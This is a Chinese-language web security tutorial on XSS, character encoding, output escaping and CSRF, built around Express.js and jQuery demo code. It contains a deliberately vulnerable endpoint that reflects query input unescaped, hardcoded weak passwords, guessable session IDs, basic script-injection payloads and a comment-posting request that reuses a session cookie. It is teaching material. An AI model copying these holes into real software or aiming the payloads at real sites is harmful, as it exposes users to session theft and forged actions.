<pre><code class="lang-js"><span class="hljs-keyword">let</span> users = [{ <span class="hljs-attr">username</span>: <span class="hljs-string">&apos;a&apos;</span>, <span class="hljs-attr">password</span>: <span class="hljs-string">&apos;123456&apos;</span>, <span class="hljs-attr">avatar</span>: <span class="hljs-string">&apos;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&apos;</span> }, { <span class="hljs-attr">username</span>: <span class="hljs-string">&apos;b&apos;</span>, <span class="hljs-attr">password</span>: <span class="hljs-string">&apos;123456&apos;</span>, <span class="hljs-attr">avatar</span>: <span class="hljs-string">&apos;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&apos;</span> }];
<span class="hljs-keyword">let</span> userSessions = {};
app.post(<span class="hljs-string">&apos;/api/login&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    <span class="hljs-keyword">let</span> body = req.body;
    <span class="hljs-keyword">let</span> user;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
        <span class="hljs-keyword">if</span> (body.username == users[i].username &amp;&amp; body.password == users[i].password) {
            user = users[i];
            <span class="hljs-keyword">break</span>;
        }
    }
    <span class="hljs-keyword">if</span> (user) {
        <span class="hljs-keyword">const</span> sessionId = <span class="hljs-string">&apos;user_&apos;</span> + <span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">1000</span>;
        res.cookie(<span class="hljs-string">&apos;username&apos;</span>, user.username);
        res.cookie(<span class="hljs-string">&apos;sessionId&apos;</span>, sessionId, { <span class="hljs-attr">httpOnly</span>: <span class="hljs-literal">true</span> });
        userSessions[sessionId] = {};
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">0</span>, user });
    } <span class="hljs-keyword">else</span> {
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">data</span>: <span class="hljs-string">&apos;&#x6CA1;&#x6709;&#x8BE5;&#x7528;&#x6237;&apos;</span> });
    }
});
</code></pre>
<h3 id="t61.6 Web&#x76F8;&#x5173;&#x7F16;&#x7801;&#x548C;&#x8F6C;&#x4E49;">1.6 Web&#x76F8;&#x5173;&#x7F16;&#x7801;&#x548C;&#x8F6C;&#x4E49; <a href="#t61.6 Web&#x76F8;&#x5173;&#x7F16;&#x7801;&#x548C;&#x8F6C;&#x4E49;"> # </a></h3>
<h4 id="t71.6.1 URL &#x7F16;&#x7801;">1.6.1 URL &#x7F16;&#x7801; <a href="#t71.6.1 URL &#x7F16;&#x7801;"> # </a></h4>
<ul>
<li>&#x4E00;&#x822C;&#x6765;&#x8BF4;&#xFF0C;URL&#x53EA;&#x80FD;&#x4F7F;&#x7528;&#x82F1;&#x6587;&#x5B57;&#x6BCD;&#xFF08;a-zA-Z&#xFF09;&#x3001;&#x6570;&#x5B57;&#xFF08;0-9&#xFF09;&#x3001;-_.~4&#x4E2A;&#x7279;&#x6B8A;&#x5B57;&#x7B26;&#x4EE5;&#x53CA;&#x6240;&#x6709;&#xFF08;;,/?:@&amp;=+$#&#xFF09;&#x4FDD;&#x7559;&#x5B57;&#x7B26;&#x3002;</li>
<li>&#x5982;&#x679C;&#x4F7F;&#x7528;&#x4E86;&#x4E00;&#x4E9B;&#x5176;&#x4ED6;&#x6587;&#x5B57;&#x548C;&#x7279;&#x6B8A;&#x5B57;&#x7B26;&#xFF0C;&#x5219;&#x9700;&#x8981;&#x901A;&#x8FC7;&#x7F16;&#x7801;&#x7684;&#x65B9;&#x5F0F;&#x6765;&#x8FDB;&#x884C;&#x8868;&#x793A;<pre><code class="lang-js"><span class="hljs-keyword">var</span> url1 = <span class="hljs-string">&apos;http://www.&#x73E0;&#x5CF0;&#x57F9;&#x8BAD;.com&apos;</span>;  <span class="hljs-comment">//&#x5305;&#x542B;&#x6C49;&#x5B57; encodeURI(url1));//http://www.%E7%8F%A0%E5%B3%B0.com</span>
<span class="hljs-keyword">var</span> url2 = <span class="hljs-string">&apos;http://www.a.com?&#x540D;&#x79F0;=&#x73E0;&#x5CF0;&apos;</span>;  <span class="hljs-comment">//&#x952E;&#x4E3A;&#x6C49;&#x5B57;</span>
<span class="hljs-keyword">var</span> url3 = <span class="hljs-string">&apos;http://a.com?name=?&amp;&apos;</span>;    <span class="hljs-comment">//&#x503C;&#x7684;&#x5185;&#x5BB9;&#x4E3A;&#x7279;&#x6B8A;&#x7B26;&#x53F7;</span>
</code></pre>
</li>
<li>encodeURI encodeURI&#x662F;&#x7528;&#x6765;&#x7F16;&#x7801;URI&#x7684;,&#x6700;&#x5E38;&#x89C1;&#x7684;&#x5C31;&#x662F;&#x7F16;&#x7801;&#x4E00;&#x4E2A; URL&#x3002;encodeURI &#x4F1A;&#x5C06;&#x9700;&#x8981;&#x7F16;&#x7801;&#x7684;&#x5B57;&#x7B26;&#x8F6C;&#x6362;&#x4E3A; UTF-8 &#x7684;&#x683C;&#x5F0F;&#x3002;&#x5BF9;&#x4E8E;&#x4FDD;&#x7559;&#x5B57;&#x7B26;&#xFF08;;,/?:@&amp;=+$#&#xFF09;&#xFF0C;&#x4EE5;&#x53CA;&#x975E;&#x8F6C;&#x4E49;&#x5B57;&#x7B26;&#xFF08;&#x5B57;&#x6BCD;&#x6570;&#x5B57;&#x4EE5;&#x53CA; -_.!~*&apos;()&#xFF09;&#x4E0D;&#x4F1A;&#x8FDB;&#x884C;&#x8F6C;&#x4E49;&#x3002;</li>
<li>encodeURI &#x4E0D;&#x8F6C;&#x4E49;&amp;&#x3001;?&#x548C;=   <code>encodeURI(url3);//http://a.com?name=?&amp;</code></li>
<li>encodeURIComponent &#x662F;&#x7528;&#x6765;&#x7F16;&#x7801; URI &#x53C2;&#x6570;&#x7684;,&#x5B83;&#x4F1A;&#x8DF3;&#x8FC7;&#x975E;&#x8F6C;&#x4E49;&#x5B57;&#x7B26;&#xFF08;&#x5B57;&#x6BCD;&#x6570;&#x5B57;&#x4EE5;&#x53CA;-_.!~*&apos;()&#xFF09;&#x3002;&#x4F46;&#x4F1A;&#x8F6C;&#x4E49; URL&#x7684; &#x4FDD;&#x7559;&#x5B57;&#x7B26;&#xFF08;;,/?:@&amp;=+$#,<code>encodeURIComponent(url3));// http%3A%2F%2Fa.com%3Fname%3D%3F%26</code></li>
<li>&#x6240;&#x6709;&#x5B8C;&#x6574;&#x7F16;&#x7801;&#x4E00;&#x4E2A;URL&#x5B57;&#x7B26;&#x4E32;&#x9700;&#x8981;encodeURI&#x548C;encodeURIComponent&#x8054;&#x5408;&#x4F7F;&#x7528; <code>console.log(encodeURI(&apos;http://a.com?name=&apos;) + encodeURIComponent(&apos;?&amp;&apos;)); http://a.com?name=%3F%26</code></li>
</ul>
<h4 id="t81.6.2 HTML &#x7F16;&#x7801;">1.6.2 HTML &#x7F16;&#x7801; <a href="#t81.6.2 HTML &#x7F16;&#x7801;"> # </a></h4>
<p>&#x5728; HTML &#x4E2D;&#xFF0C;&#x67D0;&#x4E9B;&#x5B57;&#x7B26;&#x662F;&#x9884;&#x7559;&#x7684;&#xFF0C;&#x6BD4;&#x5982;&#x4E0D;&#x80FD;&#x4F7F;&#x7528;&#x5C0F;&#x4E8E;&#x53F7;&#xFF08;&lt;&#xFF09;&#x548C;&#x5927;&#x4E8E;&#x53F7;&#xFF08;&gt;&#xFF09;&#xFF0C;&#x8FD9;&#x662F;&#x56E0;&#x4E3A;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x8BEF;&#x8BA4;&#x4E3A;&#x5B83;&#x4EEC;&#x662F;&#x6807;&#x7B7E;&#x3002;&#x5982;&#x679C;&#x5E0C;&#x671B;&#x6B63;&#x786E;&#x5730;&#x663E;&#x793A;&#x9884;&#x7559;&#x5B57;&#x7B26;&#xFF0C;&#x6211;&#x4EEC;&#x5FC5;&#x987B;&#x5728; HTML &#x6E90;&#x4EE3;&#x7801;&#x4E2D;&#x4F7F;&#x7528;&#x5B57;&#x7B26;&#x5B9E;&#x4F53;&#xFF08;character entities&#xFF09;
HTML &#x7F16;&#x7801;&#x5206;&#x4E3A;&#xFF1A;</p>
<ul>
<li>HTML &#x5341;&#x516D;&#x8FDB;&#x5236;&#x7F16;&#x7801;  &amp;#xH;</li>
<li>HTML &#x5341;&#x8FDB;&#x5236;&#x7F16;&#x7801;  &amp;#D;</li>
<li>HTML &#x5B9E;&#x4F53;&#x7F16;&#x7801; &lt; &#x7B49;</li>
</ul>
<p>&#x5728; HTML &#x8FDB;&#x5236;&#x7F16;&#x7801;&#x4E2D;&#x5176;&#x4E2D;&#x7684;&#x6570;&#x5B57;&#x5219;&#x662F;&#x5BF9;&#x5E94;&#x5B57;&#x7B26;&#x7684; unicode &#x5B57;&#x7B26;&#x7F16;&#x7801;&#x3002;
&#x6BD4;&#x5982;&#x5355;&#x5F15;&#x53F7;&#x7684; unicode &#x5B57;&#x7B26;&#x7F16;&#x7801;&#x662F;27&#xFF0C;&#x5219;&#x5355;&#x5F15;&#x53F7;&#x53EF;&#x4EE5;&#x88AB;&#x7F16;&#x7801;&#x4E3A;&apos;</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">htmlEncode</span>(<span class="hljs-params">str</span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-built_in">String</span>(str)
    .replace(<span class="hljs-regexp">/&amp;/g</span>, <span class="hljs-string">&apos;&amp;amp;&apos;</span>)
    .replace(<span class="hljs-regexp">/&quot;/g</span>, <span class="hljs-string">&apos;&amp;quot;&apos;</span>)
    .replace(<span class="hljs-regexp">/&apos;/g</span>, <span class="hljs-string">&apos;&amp;#39;&apos;</span>)
    .replace(<span class="hljs-regexp">/&lt;/g</span>, <span class="hljs-string">&apos;&amp;lt;&apos;</span>)
    .replace(<span class="hljs-regexp">/&gt;/g</span>, <span class="hljs-string">&apos;&amp;gt;&apos;</span>);
}
</code></pre>
<p><a href="http://www.w3school.com.cn/html/html_entities.asp">&#x5B8C;&#x6574;&#x5B9E;&#x4F53;</a></p>
<h4 id="t91.6.3 Javascript &#x8F6C;&#x4E49;">1.6.3 Javascript &#x8F6C;&#x4E49; <a href="#t91.6.3 Javascript &#x8F6C;&#x4E49;"> # </a></h4>
<p>avaScript &#x4E2D;&#x6709;&#x4E9B;&#x5B57;&#x7B26;&#x6709;&#x7279;&#x6B8A;&#x7528;&#x9014;&#xFF0C;&#x5982;&#x679C;&#x5B57;&#x7B26;&#x4E32;&#x4E2D;&#x60F3;&#x4F7F;&#x7528;&#x8FD9;&#x4E9B;&#x5B57;&#x7B26;&#x539F;&#x6765;&#x7684;&#x542B;&#x4E49;&#xFF0C;&#x9700;&#x8981;&#x4F7F;&#x7528;&#x53CD;&#x659C;&#x6760;&#x5BF9;&#x8FD9;&#x4E9B;&#x7279;&#x6B8A;&#x7B26;&#x53F7;&#x8FDB;&#x884C;&#x8F6C;&#x4E49;&#x3002;&#x6211;&#x4EEC;&#x79F0;&#x4E4B;&#x4E3A; Javascript&#x7F16;&#x7801;</p>
<ul>
<li>&#x4E09;&#x4E2A;&#x516B;&#x8FDB;&#x5236;&#x6570;&#x5B57;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x591F;&#x4E2A;&#x6570;&#xFF0C;&#x524D;&#x9762;&#x8865;0&#xFF0C;&#x4F8B;&#x5982; &#x201C;e&#x201D; &#x7F16;&#x7801;&#x4E3A;&#x201C;\145&#x201D;</li>
<li>&#x4E24;&#x4E2A;&#x5341;&#x516D;&#x8FDB;&#x5236;&#x6570;&#x5B57;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x591F;&#x4E2A;&#x6570;&#xFF0C;&#x524D;&#x9762;&#x8865;0&#xFF0C;&#x4F8B;&#x5982; &#x201C;e&#x201D; &#x7F16;&#x7801;&#x4E3A;&#x201C;\x65&#x201D;</li>
<li>&#x56DB;&#x4E2A;&#x5341;&#x516D;&#x8FDB;&#x5236;&#x6570;&#x5B57;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x591F;&#x4E2A;&#x6570;&#xFF0C;&#x524D;&#x9762;&#x8865;0&#xFF0C;&#x4F8B;&#x5982; &#x201C;e&#x201D; &#x7F16;&#x7801;&#x4E3A;&#x201C;\u0065&#x201D;</li>
<li>&#x5BF9;&#x4E8E;&#x4E00;&#x4E9B;&#x63A7;&#x5236;&#x5B57;&#x7B26;&#xFF0C;&#x4F7F;&#x7528;&#x7279;&#x6B8A;&#x7684;C&#x7C7B;&#x578B;&#x7684;&#x8F6C;&#x4E49;&#x98CE;&#x683C;&#xFF08;&#x4F8B;&#x5982;\n&#x548C;\r&#xFF09;</li>
</ul>
<pre><code class="lang-js">var str = &quot;zfpx&quot;&quot;;
var str = &quot;zfpx\&quot;&quot;;
</code></pre>
<h3 id="t101.7 &#x8F93;&#x5165;&#x68C0;&#x67E5;">1.7 &#x8F93;&#x5165;&#x68C0;&#x67E5; <a href="#t101.7 &#x8F93;&#x5165;&#x68C0;&#x67E5;"> # </a></h3>
<ul>
<li>&#x6C38;&#x8FDC;&#x4E0D;&#x8981;&#x76F8;&#x4FE1;&#x7528;&#x6237;&#x7684;&#x8F93;&#x5165;</li>
<li>&#x7528;&#x6237;&#x683C;&#x5F0F;&#x5224;&#x65AD; &#x767D;&#x540D;&#x5355;</li>
<li>&#x8FC7;&#x6EE4;&#x5371;&#x9669;&#x5B57;&#x7B26; &#x53BB;&#x9664;<script> javascript onclick等  黑名单</li>
<li>转义特殊字符 <code>&lt;=&amp;lt;  &gt;=&amp;gt; &amp;=&amp;amp;</code>  黑名单</li>
<li>前端可以绕过</li>
</ul>
<pre><code class="lang-js">const express = require(&#39;express&#39;);
const fs = require(&#39;fs&#39;);
const path = require(&#39;path&#39;);
const app = express();
const bodyParser = require(&#39;body-parser&#39;);
const cookieParser = require(&#39;cookie-parser&#39;);
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(express.static(path.resolve(__dirname, &#39;public&#39;)));
//http://localhost:3000/list?category=%3Cscript%3Ealert(1)%3C/script%3E
app.get(&#39;/list&#39;, function (req, res) {
    let { category } = req.query;
    res.header(&#39;Content-Type&#39;, &#39;text/html;charset=utf-8&#39;);
    res.send(`你输入的分类是: ${category}`);
});
let comments = [
    { avatar: &#39;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&#39;, username: &#39;张三&#39;, content: &#39;今天天气不错&#39;, time: new Date().toLocaleString() },
    { avatar: &#39;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&#39;, username: &#39;李四&#39;, content: &#39;是的&#39;, time: new Date().toLocaleString() }
];
app.get(&#39;/api/comments&#39;, function (req, res) {
    res.json(comments);
});
app.post(&#39;/api/comments&#39;, function (req, res) {
    let username = userSessions[req.cookies.sessionId];
    if (username) {
        let comment = req.body;
        comments.push({
            ...comment,
            username,
            avatar: &#39;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&#39;,
            time: new Date().toLocaleString()
        });
        res.json({ code: 0, comments });
    } else {
        res.json({ code: 1, error: &#39;用户没有登录&#39; });
    }
});
let users = [{ username: &#39;a&#39;, password: &#39;123456&#39;, avatar: &#39;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&#39; }, { username: &#39;b&#39;, password: &#39;123456&#39;, avatar: &#39;http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a&#39; }];
let userSessions = {};
app.post(&#39;/api/login&#39;, function (req, res) {
    let body = req.body;
    let user;
    for (let i = 0; i &lt; users.length; i++) {
        if (body.username == users[i].username &amp;&amp; body.password == users[i].password) {
            user = users[i];
            break;
        }
    }
    if (user) {
        const sessionId = &#39;user_&#39; + Math.random() * 1000;
        res.cookie(&#39;username&#39;, user.username);
        res.cookie(&#39;sessionId&#39;, sessionId, { httpOnly: true });
        userSessions[sessionId] = { username: user.username };
        res.json({ code: 0, user });
    } else {
        res.json({ code: 1, data: &#39;没有该用户&#39; });
    }
});
app.listen(3000, () =&gt; console.log(&#39;The server is starting at port 3000&#39;));
</code></pre>
<pre><code class="lang-js">let http = require(&#39;http&#39;);
let comment = JSON.stringify({
    &quot;content&quot;: &quot;zfpx&quot;
});
const options = {
    host: &#39;localhost&#39;,
    port: 3000,
    path: &#39;/api/comments&#39;,
    method: &#39;POST&#39;,
    headers: {
        &quot;Cookie&quot;: &quot;sessionId=user_313.2022765155167&quot;,
        &quot;Content-Type&quot;: &quot;application/json&quot;
    }
}
const req = http.request(options, function (res) {
    res.setEncoding(&#39;utf8&#39;);
    res.on(&#39;data&#39;, function (data) {
        console.log(&#39;data:&#39;, data);
    });
    res.on(&#39;end&#39;, function () {
        console.log(&#39;end:&#39;);
    });
});
req.on(&#39;error&#39;, function (error) {
    console.log(error);
});
req.write(comment);
req.end();
</code></pre>
<h3 id="1-8-">1.8 输出检查</h3>
<h3 id="1-8-1-html-">1.8.1 HTML执行环境</h3>
<p>使用之前要做一个htmlEncode(). 把HTML标签转成普通文本来对待</p>
<ul>
<li>HTML标签 <div>$desc</div></li>
<li>HTML属性 <div className="$clsName"></div></li>
</ul>
<h3 id="1-8-2-js-">1.8.2 JS执行环境</h3>
<p>使用之前要做一个javascriptEncode(). 一般用/进行转义</p>
<ul>
<li>script标签中 <script>let x = &quot;$var&quot;;</script></li>
<li>&#x4E8B;&#x4EF6;&#x5C5E;&#x6027;&#x4E2D; <a href="" onclick="join($room)">&#x52A0;&#x5165;&#x623F;&#x95F4;</a></li>
</ul>
<h3 id="t111.8.3 URL&#x89E3;&#x6790;&#x73AF;&#x5883;">1.8.3 URL&#x89E3;&#x6790;&#x73AF;&#x5883; <a href="#t111.8.3 URL&#x89E3;&#x6790;&#x73AF;&#x5883;"> # </a></h3>
<p>&#x4F7F;&#x7528;&#x4E4B;&#x524D;&#x8981;&#x505A;urlencode()</p>
<ul>
<li>url&#x4E2D; <a href="http://localhost:3000/articles/$id">link</a></li>
</ul>
<pre><code class="lang-js">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;ie=edge&quot;&gt;
    &lt;title&gt;Document&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;div id=&quot;intag&quot;&gt;&lt;/div&gt;
    &lt;div id=&quot;tagAttr&quot;&gt;&lt;/div&gt;
    &lt;div id=&quot;inEvent&quot;&gt;&lt;/div&gt;
    &lt;div id=&quot;inLink&quot;&gt;&lt;/div&gt;
    &lt;script src=&quot;https://cdn.bootcss.com/jquery/3.3.1/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        function htmlEncode(str) {
            return String(str)
                .replace(/&amp;/g, &apos;&amp;amp;&apos;)
                .replace(/&quot;/g, &apos;&amp;quot;&apos;)
                .replace(/&apos;/g, &apos;&amp;#39;&apos;)
                .replace(/&lt;/g, &apos;&amp;lt;&apos;)
                .replace(/&gt;/g, &apos;&amp;gt;&apos;);
        }

        let data = {
            desc: &quot;&lt;script&gt;alert(1);&lt;\/script&gt;&quot;,
            clsName: &apos;&quot;&gt;&lt;script&gt;alert(2);&lt;\/script&gt;&apos;,
            url: &apos;&quot;&gt;&lt;script&gt;alert(3);&lt;\/script&gt;&apos;,
            id: &apos;&quot;&gt;&lt;script&gt;alert(4);&lt;\/script&gt;&apos;,
        }
        $(&apos;#intag&apos;).html(htmlEncode(data.desc));
        $(&apos;#tagAttr&apos;).html(`&lt;a class = &quot;${htmlEncode(data.clsName)}&quot;&gt;&#x6807;&#x7B7E;&#x5C5E;&#x6027;&#x4E2D;&lt;/a&gt;`);

        $(&apos;#inEvent&apos;).html(`&lt;a href=&quot;#&quot; onclick = &quot;go(&apos;${data.url}&apos;)&quot;&gt;&#x4E8B;&#x4EF6;&#x53C2;&#x6570;&lt;/a&gt;`);
        $(&apos;#inLink&apos;).html(`&lt;a href=&quot;http://localhost:3000/articles/${encodeURI(data.id)}&quot;&gt;link&lt;/a&gt;`);
        function go(url) {
            console.log(url);
        }

        //&#x4F7F;&#x7528;&#x201C;\&#x201D;&#x5BF9;&#x7279;&#x6B8A;&#x5B57;&#x7B26;&#x8FDB;&#x884C;&#x8F6C;&#x4E49;&#xFF0C;&#x9664;&#x6570;&#x5B57;&#x5B57;&#x6BCD;&#x4E4B;&#x5916;&#xFF0C;&#x5C0F;&#x4E8E;127&#x4F7F;&#x7528;16&#x8FDB;&#x5236;&#x201C;\xHH&#x201D;&#x7684;&#x65B9;&#x5F0F;&#x8FDB;&#x884C;&#x7F16;&#x7801;&#xFF0C;&#x5927;&#x4E8E;&#x7528;unicode&#xFF08;&#x975E;&#x5E38;&#x4E25;&#x683C;&#x6A21;&#x5F0F;&#xFF09;&#x3002;
        var JavaScriptEncode = function (str) {
            var hex = new Array(&apos;0&apos;, &apos;1&apos;, &apos;2&apos;, &apos;3&apos;, &apos;4&apos;, &apos;5&apos;, &apos;6&apos;, &apos;7&apos;, &apos;8&apos;, &apos;9&apos;, &apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;, &apos;e&apos;, &apos;f&apos;);
            function changeTo16Hex(charCode) {
                return &quot;\\x&quot; + charCode.charCodeAt(0).toString(16);
            }

            function encodeCharx(original) {
                var found = true;
                var thecharchar = original.charAt(0);
                var thechar = original.charCodeAt(0);
                switch (thecharchar) {
                    case &apos;\n&apos;: return &quot;\\n&quot;; break; //newline
                    case &apos;\r&apos;: return &quot;\\r&quot;; break; //Carriage return
                    case &apos;\&apos;&apos;: return &quot;\\&apos;&quot;; break;
                    case &apos;&quot;&apos;: return &quot;\\\&quot;&quot;; break;
                    case &apos;\&amp;&apos;: return &quot;\\&amp;&quot;; break;
                    case &apos;\\&apos;: return &quot;\\\\&quot;; break;
                    case &apos;\t&apos;: return &quot;\\t&quot;; break;
                    case &apos;\b&apos;: return &quot;\\b&quot;; break;
                    case &apos;\f&apos;: return &quot;\\f&quot;; break;
                    case &apos;/&apos;: return &quot;\\x2F&quot;; break;
                    case &apos;&lt;&apos;: return &quot;\\x3C&quot;; break;
                    case &apos;&gt;&apos;: return &quot;\\x3E&quot;; break;
                    default:
                        found = false;
                        break;
                }
                if (!found) {
                    if (thechar &gt; 47 &amp;&amp; thechar &lt; 58) { //&#x6570;&#x5B57;
                        return original;
                    }

                    if (thechar &gt; 64 &amp;&amp; thechar &lt; 91) { //&#x5927;&#x5199;&#x5B57;&#x6BCD;
                        return original;
                    }

                    if (thechar &gt; 96 &amp;&amp; thechar &lt; 123) { //&#x5C0F;&#x5199;&#x5B57;&#x6BCD;
                        return original;
                    }

                    if (thechar &gt; 127) { //&#x5927;&#x4E8E;127&#x7528;unicode
                        var c = thechar;
                        var a4 = c % 16;
                        c = Math.floor(c / 16);
                        var a3 = c % 16;
                        c = Math.floor(c / 16);
                        var a2 = c % 16;
                        c = Math.floor(c / 16);
                        var a1 = c % 16;
                        return &quot;\\u&quot; + hex[a1] + hex[a2] + hex[a3] + hex[a4] + &quot;&quot;;
                    }
                    else {
                        return changeTo16Hex(original);
                    }

                }
            }

            var preescape = str;
            var escaped = &quot;&quot;;
            var i = 0;
            for (i = 0; i &lt; preescape.length; i++) {
                escaped = escaped + encodeCharx(preescape.charAt(i));
            }
            return escaped;
        }
    &lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;
</code></pre>
<h2 id="t122. CSRF">2. CSRF <a href="#t122. CSRF"> # </a></h2>
<h3 id="t132.1 &#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;">2.1 &#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020; <a href="#t132.1 &#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;"> # </a></h3>
<p>Cross Site Request Forgery &#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;</p>
<ol>
<li>&#x7528;&#x6237;A&#x767B;&#x5F55;&#x94F6;&#x884C;&#x7F51;&#x7AD9;&#xFF0C;&#x767B;&#x5F55;&#x6210;&#x529F;&#x540E;&#x4F1A;&#x8BBE;&#x7F6E;cookie</li>
<li>&#x9ED1;&#x5BA2;&#x8BF1;&#x5BFC;&#x7528;&#x6237;A&#x767B;&#x5F55;&#x5230;&#x9ED1;&#x5BA2;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x7136;&#x540E;&#x4F1A;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x9875;&#x9762;</li>
<li>&#x7528;&#x6237;&#x8BBF;&#x95EE;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#x65F6;&#xFF0C;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#x4F1A;&#x4F2A;&#x9020;&#x4E00;&#x4E2A;&#x8F6C;&#x8D26;&#x8BF7;&#x6C42;&#x5230;&#x94F6;&#x884C;&#x7F51;&#x7AD9;</li>
</ol>
<p>bank.html</p>
<pre><code class="lang-js">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;ie=edge&quot;&gt;
    &lt;title&gt;&#x6211;&#x7684;&#x94F6;&#x884C;&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css&quot;&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;row&quot;&gt;
            &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;div class=&quot;panel panel-default&quot;&gt;
                    &lt;div class=&quot;panel-heading&quot;&gt;
                        &lt;p&gt;&#x7528;&#x6237;&#x540D;
                            &lt;span id=&quot;username&quot;&gt;&lt;/span&gt;
                        &lt;/p&gt;
                        &lt;p&gt;&#x4F59;&#x989D;
                            &lt;span id=&quot;money&quot;&gt;&lt;/span&gt;
                        &lt;/p&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;panel-body&quot;&gt;
                        &lt;form onsubmit=&quot;transfer(event)&quot;&gt;
                            &lt;div class=&quot;form-group&quot;&gt;
                                &lt;label for=&quot;target&quot;&gt;&#x8F6C;&#x8D26;&#x7528;&#x6237;&lt;/label&gt;
                                &lt;input id=&quot;target&quot; class=&quot;form-control&quot; placeholder=&quot;&#x8BF7;&#x8F93;&#x5165;&#x7684;&#x7528;&#x6237;&#x540D;&quot;&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;form-group&quot;&gt;
                                &lt;label for=&quot;amount&quot;&gt;&#x91D1;&#x989D;&lt;/label&gt;
                                &lt;input id=&quot;amount&quot; class=&quot;form-control&quot; placeholder=&quot;&#x8BF7;&#x8F93;&#x5165;&#x8F6C;&#x8D26;&#x7684;&#x91D1;&#x989D;&quot;&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;form-group&quot;&gt;
                                &lt;input type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;
                            &lt;/div&gt;
                        &lt;/form&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;script src=&quot;https://cdn.bootcss.com/jquery/3.3.1/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script&gt;
        $(function () {
            $.get(&apos;/api/user&apos;).then(data =&gt; {
                console.log(data);
                console.log(data.user.username);
                if (data.code == 0) {
                    $(&apos;#username&apos;).html(data.user.username);
                    $(&apos;#money&apos;).html(data.user.money);
                } else {
                    alert(&apos;&#x7528;&#x6237;&#x672A;&#x767B;&#x5F55;&apos;);
                    location.href = &apos;/login.html&apos;;
                }
            });
        });
        function transfer(event) {
            event.preventDefault();
            let target = $(&apos;#target&apos;).val();
            let amount = $(&apos;#amount&apos;).val();
            $.post(&apos;/api/transfer&apos;, { target, amount }).then(data =&gt; {
                if (data.code == 0) {
                    alert(&apos;&#x8F6C;&#x8D26;&#x6210;&#x529F;&apos;);
                    location.reload();
                } else {
                    alert(&apos;&#x7528;&#x6237;&#x672A;&#x767B;&#x5F55;&apos;);
                    location.href = &apos;/login.html&apos;;
                }
            });
        }
    &lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;
</code></pre>
<pre><code class="lang-js">app.get(<span class="hljs-string">&apos;/api/user&apos;</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">req, res</span>) </span>{
    <span class="hljs-keyword">let</span> { username } = userSessions[req.cookies.sessionId];
    <span class="hljs-keyword">if</span> (username) {
        <span class="hljs-keyword">let</span> user;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
            <span class="hljs-keyword">if</span> (username == users[i].username) {
                user = users[i];
                <span class="hljs-keyword">break</span>;
            }
        }
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">0</span>, user });
    } <span class="hljs-keyword">else</span> {
        res.json({ <span class="hljs-attr">code</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">error</span>: <span class="hljs-string">&apos;&#x7528;&#x6237;&#x6CA1;&#x6709;&#x767B;&#x5F55;&apos;</span> });
    }
});

